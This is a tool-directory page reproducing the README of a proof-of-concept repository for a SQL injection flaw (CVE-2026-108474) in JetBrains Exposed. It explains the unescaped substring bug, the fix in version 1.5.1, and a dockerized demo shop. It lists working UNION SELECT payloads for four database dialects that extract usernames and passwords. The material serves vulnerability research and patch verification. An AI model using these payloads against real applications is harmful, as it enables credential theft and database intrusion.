Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/deebumg/cve-2026-108474-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityDatabase Security
GitHubdeebumg/cve-2026-108474-poc

CVE-2026-108474-POC

Dockerized proof of concept for CVE-2026-108474, a SQL injection in JetBrains Exposed <=1.5.0, with a demo Kotlin app and per-dialect payloads.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    899
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    831
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    661
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    444
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    443
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    395

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-108474 POC

CVE-2026-108474 was publicly disclosed on 2026-10-09, detailing multiple SQL injection vulnerabilities caused by unescaped string arguments in JetBrains Exposed <= 1.5.0.

This repository was built on 2026-10-13 to better understand the vulnerability and demonstrate the severity of the exploit.

More information about CVE-2026-108474 can be found here: https://app.opencve.io/cve/CVE-2026-108474

Claude was used to build the dockerized site; the exact vulnerabilities in JetBrains Exposed 1.5.0 and the SQL injection inputs to trigger them were identified manually following the CVE announcement on opencve.

Explanation

The github repository hosting JetBrains Exposed source code can be found here: https://github.com/JetBrains/Exposed

In multiple files in exposed-core/src/main/kotlin/org/jetbrains/exposed/v1/core/vendors/ an unsanitized substring parameter is passed directly to SQL queries. Assuming users are able to control this substring, a single quote character can be used to escape the prepared SQL statement and execute arbitrary queries.

Example in exposed-core/src/main/kotlin/org/jetbrains/exposed/v1/core/vendors/MysqlDialect.kt:

append("LOCATE(\'", substring, "\',", expr, ")")

This vulnerability was addressed in JetBrains Exposed 1.5.1, in which an escapeSingleQuotes() method is called on the substring, which effectively doubles any single quotes present. The above example becomes:

append("LOCATE(\'", substring.escapeSingleQuotes(), "\',", expr, ")")

The exact commit addressing this issue can be found here: https://github.com/JetBrains/Exposed/commit/be0b6ebc08346b270085be65eeb188d494e651f0#diff-6d050c5eadfff62528b7efb9aaa82bb905005c960a7132dc5655441daf818b9e

Example Site (Kotlin + JetBrains Exposed)

A tiny simulated shopping site demonstrating CVE-2026-108474 is provided. You're logged in as guest. Pick a database, search for a product, and see which products match. The query is always Exposed's built-in locate(); each database's dialect renders it differently:

DatabaseSQL function emitted
MySQLLOCATE
SQLiteINSTR
PostgreSQLPOSITION
SQL ServerCHARINDEX

Run

docker compose up --build

The site is hosted on http://localhost:8080

POC Queries

MySQL (LOCATE):

a','aa') FROM products UNION SELECT name,password,3 FROM users; #

SQLite (INSTR):

a') FROM products UNION SELECT name,password,3 FROM users; #

PostgreSQL (POSITION):

a' IN 'aa') FROM products UNION SELECT name,password,3 FROM users --

SQL Server / MSSQL (CHARINDEX):

a' ,'aa') FROM products UNION SELECT name,password,3 FROM users; --

Toggling the Exposed version

The active version is shown in the page footer, and the default is the vulnerable 1.5.0 version. Changing this version to 1.5.1 demonstrates that the SQL injection vulnerability is mitigated. To change versions:

  • Edit EXPOSED_VERSION in docker-compose.yml (under app.build.args), or
  • Pass it at build time: docker compose build --build-arg EXPOSED_VERSION=1.5.1, or
  • Change the default in build.gradle.kts (exposedVersion) / Dockerfile (ARG EXPOSED_VERSION).

Notes

  • Each search prints the full SQL statement Exposed built (captured with a SqlLogger) above the results. If a query fails, the statement is still shown when Exposed got far enough to build it.
  • The substring is passed straight to Exposed's locate() with no sanitizing in this app.
  • SQL Server has no arm64 image, so it runs under emulation on Apple Silicon.
Download Tool